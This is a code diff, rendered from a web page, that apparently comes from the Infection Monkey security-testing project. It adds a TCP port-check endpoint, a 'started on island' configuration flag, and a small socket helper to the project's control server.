ret = paths[-1][1]
|
||||||
return ret[1]
|
return ret[1]
|
||||||
|
|
||||||
|
|
||||||
|
def is_running_on_server(ip: str) -> bool:
|
||||||
|
return ip in local_ips()
|
||||||
|
|
|
@ -16,10 +16,12 @@ from monkey_island.cc.resources.island_logs import IslandLog
|
||||||
from monkey_island.cc.resources.monkey import Monkey
|
from monkey_island.cc.resources.monkey import Monkey
|
||||||
from monkey_island.cc.resources.monkey_configuration import MonkeyConfiguration
|
from monkey_island.cc.resources.monkey_configuration import MonkeyConfiguration
|
||||||
from monkey_island.cc.resources.island_configuration import IslandConfiguration
|
from monkey_island.cc.resources.island_configuration import IslandConfiguration
|
||||||
|
from monkey_island.cc.resources.monkey_control.started_on_island import StartedOnIsland
|
||||||
from monkey_island.cc.resources.monkey_download import MonkeyDownload
|
from monkey_island.cc.resources.monkey_download import MonkeyDownload
|
||||||
from monkey_island.cc.resources.netmap import NetMap
|
from monkey_island.cc.resources.netmap import NetMap
|
||||||
from monkey_island.cc.resources.node import Node
|
from monkey_island.cc.resources.node import Node
|
||||||
from monkey_island.cc.resources.node_states import NodeStates
|
from monkey_island.cc.resources.node_states import NodeStates
|
||||||
|
from monkey_island.cc.resources.monkey_control.remote_port_check import RemotePortCheck
|
||||||
from monkey_island.cc.resources.remote_run import RemoteRun
|
from monkey_island.cc.resources.remote_run import RemoteRun
|
||||||
from monkey_island.cc.resources.reporting.report import Report
|
from monkey_island.cc.resources.reporting.report import Report
|
||||||
from monkey_island.cc.resources.root import Root
|
from monkey_island.cc.resources.root import Root
|
||||||
|
@ -121,6 +123,8 @@ def init_api_resources(api):
|
||||||
api.add_resource(AttackConfiguration, '/api/attack')
|
api.add_resource(AttackConfiguration, '/api/attack')
|
||||||
api.add_resource(AttackReport, '/api/attack/report')
|
api.add_resource(AttackReport, '/api/attack/report')
|
||||||
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
|
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
|
||||||
|
api.add_resource(RemotePortCheck, '/api/monkey_control/check_remote_port/<string:port>')
|
||||||
|
api.add_resource(StartedOnIsland, '/api/monkey_control/started_on_island')
|
||||||
|
|
||||||
api.add_resource(MonkeyTest, '/api/test/monkey')
|
api.add_resource(MonkeyTest, '/api/test/monkey')
|
||||||
api.add_resource(ClearCaches, '/api/test/clear_caches')
|
api.add_resource(ClearCaches, '/api/test/clear_caches')
|
||||||
|
|
|
@ -0,0 +1,14 @@
|
||||||
|
import flask_restful
|
||||||
|
from flask import request
|
||||||
|
|
||||||
|
from monkey_island.cc.services.remote_port_check import check_tcp_port
|
||||||
|
|
||||||
|
|
||||||
|
class RemotePortCheck(flask_restful.Resource):
|
||||||
|
|
||||||
|
# Used by monkey. can't secure.
|
||||||
|
def get(self, port):
|
||||||
|
if check_tcp_port(request.remote_addr, port):
|
||||||
|
return {"status": "port_visible"}
|
||||||
|
else:
|
||||||
|
return {"status": "port_invisible"}
|
|
@ -0,0 +1,16 @@
|
||||||
|
import json
|
||||||
|
|
||||||
|
import flask_restful
|
||||||
|
from flask import request, make_response
|
||||||
|
|
||||||
|
from monkey_island.cc.services.config import ConfigService
|
||||||
|
|
||||||
|
|
||||||
|
class StartedOnIsland(flask_restful.Resource):
|
||||||
|
|
||||||
|
# Used by monkey. can't secure.
|
||||||
|
def post(self):
|
||||||
|
data = json.loads(request.data)
|
||||||
|
if data['started_on_island']:
|
||||||
|
ConfigService.set_started_on_island(True)
|
||||||
|
return make_response({}, 200)
|
|
@ -321,3 +321,7 @@ class ConfigService:
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def add_blocked_ip(ip_):
|
def add_blocked_ip(ip_):
|
||||||
ConfigService.append_to_config_array(['basic_network', 'general', 'blocked_ips'], ip_)
|
ConfigService.append_to_config_array(['basic_network', 'general', 'blocked_ips'], ip_)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def set_started_on_island(value: bool):
|
||||||
|
ConfigService.set_config_value(['internal', 'general', 'started_on_island'], value)
|
||||||
|
|
|
@ -564,6 +564,13 @@ SCHEMA = {
|
||||||
"default": r"monkey_dir",
|
"default": r"monkey_dir",
|
||||||
"description": "Directory name for the directory which will contain all of the monkey files"
|
"description": "Directory name for the directory which will contain all of the monkey files"
|
||||||
},
|
},
|
||||||
|
"started_on_island": {
|
||||||
|
"title": "Started on island",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": False,
|
||||||
|
"description": "Was exploitation started from island"
|
||||||
|
"(did monkey with max depth ran on island)"
|
||||||
|
},
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"classes": {
|
"classes": {
|
||||||
|
|
|
@ -0,0 +1,19 @@
|
||||||
|
import socket
|
||||||
|
|
||||||
|
|
||||||
|
DEFAULT_TIMEOUT = 5 # Seconds
|
||||||
|
|
||||||
|
|
||||||
|
def check_tcp_port(ip: str, port: str, timeout=DEFAULT_TIMEOUT) -> bool:
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock.connect((ip, int(port)))
|
||||||
|
except socket.timeout:
|
||||||
|
return False
|
||||||
|
except socket.error:
|
||||||
|
return False
|
||||||
|
finally:
|
||||||
|
sock.close()
|
||||||
|
return True
|
|
@ -69,7 +69,11 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
cnc: {},
|
cnc: {},
|
||||||
network: {},
|
network: {},
|
||||||
exploits: {},
|
exploits: {},
|
||||||
internal: {}
|
internal: {
|
||||||
|
general: {
|
||||||
|
started_on_island: {'ui:widget': 'hidden'}
|
||||||
|
}
|
||||||
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue